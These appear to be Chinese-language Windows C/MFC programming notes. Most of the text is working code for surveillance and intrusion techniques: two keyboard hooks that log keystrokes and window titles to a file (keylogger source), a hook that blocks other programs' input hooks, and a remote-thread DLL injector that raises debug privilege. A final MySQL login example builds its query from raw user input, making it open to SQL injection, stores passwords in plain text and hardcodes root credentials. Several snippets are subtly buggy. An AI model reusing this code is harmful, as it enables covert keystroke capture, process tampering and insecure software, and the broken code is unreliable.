return CallNextHookEx(g_Keyboardhook, nCode, wParam, lParam);
}
键盘钩子:WH_KEYBOARD
//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode<0||nCode==HC_NOREMOVE)
return CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
//按下不响应
if (lParam >> 0x40000000)
{
CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
}
//获取当前激活窗口
HWND hWnd = GetActiveWindow();
if (hWnd == NULL)
{
//获取当前最前面窗口
hWnd = GetForegroundWindow();
if (hWnd == NULL)
{
return CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
}
}
char windowtitle[MAX_PATH];
GetWindowTextA(hWnd, windowtitle, MAX_PATH);
//获取按键名称
char keyname[50];
GetKeyNameTextA(lParam, keyname, sizeof(keyname));
if (GetKeyState(VK_CAPITAL))
{
//大写
Toupper(keyname);
}
else
{
Tolower(keyname);
}
//保存
char str[550] = { 0 };
sprintf(str, "%s::%s\r\n", windowtitle, keyname);
FILE*fp = fopen("D:\\1.txt", "a");
if (fp == NULL)
return CallNextHookEx(g_Mousehook, nCode, wParam, lParam);
fwrite(str, 1, strlen(str), fp);
fclose(fp);
return CallNextHookEx(g_Keyboardhook, nCode, wParam, lParam);
}
//小写转大写
char *Toupper( char* str)
{
char*p = str;
while (*str != 0)
{
*str = toupper(*str);
str++;
}
return p;
}
//大写转小写
char *Tolower(char* str)
{
char*p = str;
while (*str != 0)
{
*str = tolower(*str);
str++;
}
return p;
}
基础键盘钩子:WH_KEYBOARD_LL
//键盘钩子处理函数
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code < 0 || code == HC_NOREMOVE)
return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
if (code == HC_ACTION)
{
//获取按键的名称
char szKeyName[50];
if (wParam == WM_KEYUP ||wParam ==WM_SYSKEYUP)
{
PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT)lParam;
if (pKeyboardHookStruct->flags & 0x80)
{
LONG flag = pKeyboardHookStruct->scanCode << 16;
flag = flag | pKeyboardHookStruct->flags;
GetKeyNameTextA(flag, szKeyName, sizeof(szKeyName));
//获取当前激活窗口
HWND hWnd = GetActiveWindow();
if (hWnd == NULL)
{
//获取最前面的窗口
hWnd = GetForegroundWindow();
if (hWnd == NULL)
{
return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
}
}
char szWindowTitle[MAX_PATH];
GetWindowTextA(hWnd, szWindowTitle, MAX_PATH);
if (GetKeyState(VK_CAPITAL))
{
//小写
ToLower(szKeyName);
}
else
{
//大写
ToUpper(szKeyName);
}
//保存到文件
char szWriteText[520] = { 0 };
sprintf(szWriteText, "%s::%s##%d\r\n", szWindowTitle, szKeyName, code);
FILE* fp = fopen("D:\\1.txt", "a");
if (fp == NULL)
return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
fwrite(szWriteText, 1, strlen(szWriteText), fp);
fclose(fp);
}
}
}
return CallNextHookEx(g_hKeyboardHook, code, wParam, lParam);
}
//字符串转大写
char *ToUpper(char* str)
{
char* p = str;
while (*str != '\0')
{
*str = toupper(*str);
str++;
}
return p;
}
//字符串转小写
char* ToLower(char* str)
{
char* p = str;
while (*str != '\0')
{
*str = tolower(*str);
str++;
}
return p;
}
Debug钩子:预处理
HHOOK g_debughook;
LRESULT CALLBACK DebugProc(int nCode,WPARAM wParam, LPARAM lParam);
BOOL CDebugHookDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
//安装Debug钩子,在安装钩子之前进行处理,预处理
g_debughook=SetWindowsHookEx(WH_DEBUG, DebugProc, 0, GetCurrentThreadId());
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
LRESULT CALLBACK DebugProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
//当前程序屏蔽其他程序的鼠标键盘钩子消息
switch (wParam)
{
case WH_MOUSE:
case WH_KEYBOARD:
{
return 1;
}
}
}
return CallNextHookEx(g_debughook, nCode, wParam, lParam);
}
远程线程注入:
#include<tlhelp32.h>
BOOL CInjectDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_list.InsertColumn(0, L"编号", LVCFMT_LEFT, 100);
m_list.InsertColumn(1, L"映像名称", LVCFMT_LEFT, 100);
m_list.InsertColumn(2, L"PID", LVCFMT_LEFT, 100);
m_list.InsertColumn(3, L"is64", LVCFMT_LEFT, 100);
EnumPro();
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CInjectDlg::OnBnClickedSelect()
{
CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, L"DLL文件(*.dll)|*.dll|所有文件(*.*)|*.*");
if (IDCANCEL == dlg.DoModal())
return;
m_strpath = dlg.GetPathName();
UpdateData(FALSE);
}
void CInjectDlg::EnumPro()
{
HANDLE hsnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
BOOL bfind=Process32First(hsnap, &pe);
int i = 0;
while (bfind)
{
bfind = Process32Next(hsnap, &pe);
CString str;
str.Format(L"%d", i);
m_list.InsertItem(i, str);
m_list.SetItemText(i, 1, pe.szExeFile);
//
str.Format(L"%d", pe.th32ProcessID);
m_list.SetItemText(i, 2, str);
//打开进程
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
BOOL iswow62 = FALSE;
if (handle != NULL)
{
IsWow64Process(handle, &iswow62);
}
m_list.SetItemText(i, 3, iswow62 ? L"x86" : L"x64");
i++;
}
CloseHandle(hsnap);
}
void CInjectDlg::OnBnClickedInject()
{
UpdateData(TRUE);
if (m_strpath.IsEmpty())
{
MessageBox(L"请先选择");
return;
}
//进程句柄、
POSITION pos=m_list.GetFirstSelectedItemPosition();
int sel = m_list.GetNextSelectedItem(pos);
if (sel < 0)
{
MessageBox(L"请先选择");
return;
}
//提权 打开与进程相关的访问令牌
HANDLE htoken;
if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
{
MessageBox(L"提权失败");
return;
}
//查询进程特权信息 关机SE_SHUTDOWN_NAME
LUID luid;
if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
MessageBox(L"查询进程特权信息失败");
return;
}
//调节权限
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (FALSE == AdjustTokenPrivileges(htoken, FALSE, &tp, sizeof(tp), NULL, NULL))
{
MessageBox(L"调节权限失败");
return;
}
DWORD pid = _wtoi(m_list.GetItemText(sel, 2));
//根据pid打开进程
HANDLE hpro=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hpro == NULL)
{
MessageBox(L"打开进程失败");
return;
}
//在远程进程中申请内存
LPVOID addr=VirtualAllocEx(hpro, NULL, m_strpath.GetLength() * 2 + 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (addr == NULL)
{
MessageBox(L"在远程进程中申请内存失败");
return;
}
//将dll路径写入远程进程 最后一个实际大小
if (FALSE == WriteProcessMemory(hpro, addr, m_strpath.GetBuffer(), m_strpath.GetLength() * 2 + 2, NULL))
{
MessageBox(L"将dll路径写入远程进程,失败");
return;
}
//获取LoadLibraryA函数地址
PTHREAD_START_ROUTINE pthadd = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
//在远程进程中开辟进程 第三个远程线程处理函数 第四个远程地址
HANDLE hthreadhandle=CreateRemoteThread(hpro, NULL, 0, pthadd, addr, 0, NULL);
if (hthreadhandle == NULL)
{
MessageBox(L"远程进程中开辟进程,失败");
return;
}
MessageBox(L"注入成功");
CloseHandle(hthreadhandle);
}
DLL:
#include <Windows.h>
void Test()
{
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"您已经中招了", L"温馨提示", MB_OK);
//调用DLL的函数就可以了
Test();
break;
case DLL_PROCESS_DETACH:
break;
}
return 0;
}
如果错误信息为5 ,1权限不够,2位数不对32/64
需要64位
CMySQL类
.h
#pragma once
#include<mysql.h>
#pragma comment(lib,"libmysql.lib")
#pragma comment(lib,"libmysqld.lib")
class CMySQL
{
public:
MYSQL *m_mysql;//mysql实例句柄
MYSQL_RES* m_result;
MYSQL_ROW m_row;
public:
CMySQL();
~CMySQL();
BOOL Connect(const char *host, const char *user, const char *passwd, const char *db, unsigned int port);
int Query(const wchar_t *stmt_str);
//保存结果集
MYSQL_RES *Store_result();
//检索结果集
MYSQL_ROW fetch_row();
};
.cpp
#include "stdafx.h"
#include "MySQL.h"
CMySQL::CMySQL()
{
//MySQL初始化
m_mysql=mysql_init(NULL);
m_result = NULL;
m_row = NULL;
}
CMySQL::~CMySQL()
{
}
BOOL CMySQL:: Connect(const char *host, const char *user, const char *passwd, const char *db, unsigned int port)
{
//连接mysql数据库 返回mysql指针
if (!mysql_real_connect(m_mysql, host, user, passwd, db, port, 0, 0))
{
return FALSE;
}
return TRUE;
}
//查询
int CMySQL::Query(const wchar_t *stmt_str)
{
char*buff = new char[wcslen(stmt_str)*2];
memset(buff, 0, wcslen(stmt_str) * 2);
WideCharToMultiByte(CP_ACP, 0, stmt_str, -1, buff, wcslen(stmt_str) * 2, NULL, NULL);
return mysql_real_query(m_mysql, buff, strlen(buff));
}
//保存结果集
MYSQL_RES *CMySQL::Store_result()
{
m_result = mysql_store_result(m_mysql);
return m_result;
}
//检索结果集
MYSQL_ROW CMySQL::fetch_row()
{
m_row= mysql_fetch_row(m_result);
return m_row;
}
连接数据库:在登录窗口之前连接
App
BOOL CStudentSystemApp::InitInstance()
{
//连接数据库
if (FALSE == m_mysql.Connect("127.0.0.1", "root", "123456", "test", 3306))
{
AfxMessageBox(L"连接数据库失败");
return TRUE;
}
CLogin login;
if (IDCANCEL == login.DoModal())
return TRUE;
CWinApp::InitInstance();
}
在登录窗口声明 theApp 通过theApp里面的MySQL成员来调用MySQL类的的对象:
extern CStudentSystemApp theApp;
然后查找数据中密码
void CLogin::OnBnClickedLogin()
{
UpdateData(TRUE);
if (m_user.IsEmpty() || m_password.IsEmpty())
{
MessageBox(L"请输入用户名或密码!", L"温馨提示");
return;
}
//插入
//wchar_t sql[250] = L"insert into student (name, password) value (\"list\", \"11111\"); ";
wchar_t sql[250];
wsprintf(sql,L"select password from student where name = \'%s\'", m_user.GetBuffer());
int error=theApp.m_mysql.Query(sql);
//保存结果集
theApp.m_mysql.Store_result();
int i = 0;
while (theApp.m_mysql.fetch_row())//来回循环要查找的user对应的密码,每次查找下一个
{
char pass[20] = { 0 };
//theApp.m_mysql.m_row[0] 得到数据库user的密码,
//m_row相当于一个表,如果select name password ,则密码在m_row[1](数组的第二个位置)
//如果select password ,则密码在m_row[0](数组的第一个位置)
strcpy(pass, theApp.m_mysql.m_row[0]);
if (pass == m_password)
{
i = 1;
}
}
if (i==1)
{
EndDialog(IDOK);
}
else{
MessageBox(L"用户名或密码错误!", L"温馨提示");
m_password = L"";
GetDlgItem(IDC_PASSWORD)->SetFocus();
UpdateData(FALSE);
return;
}
}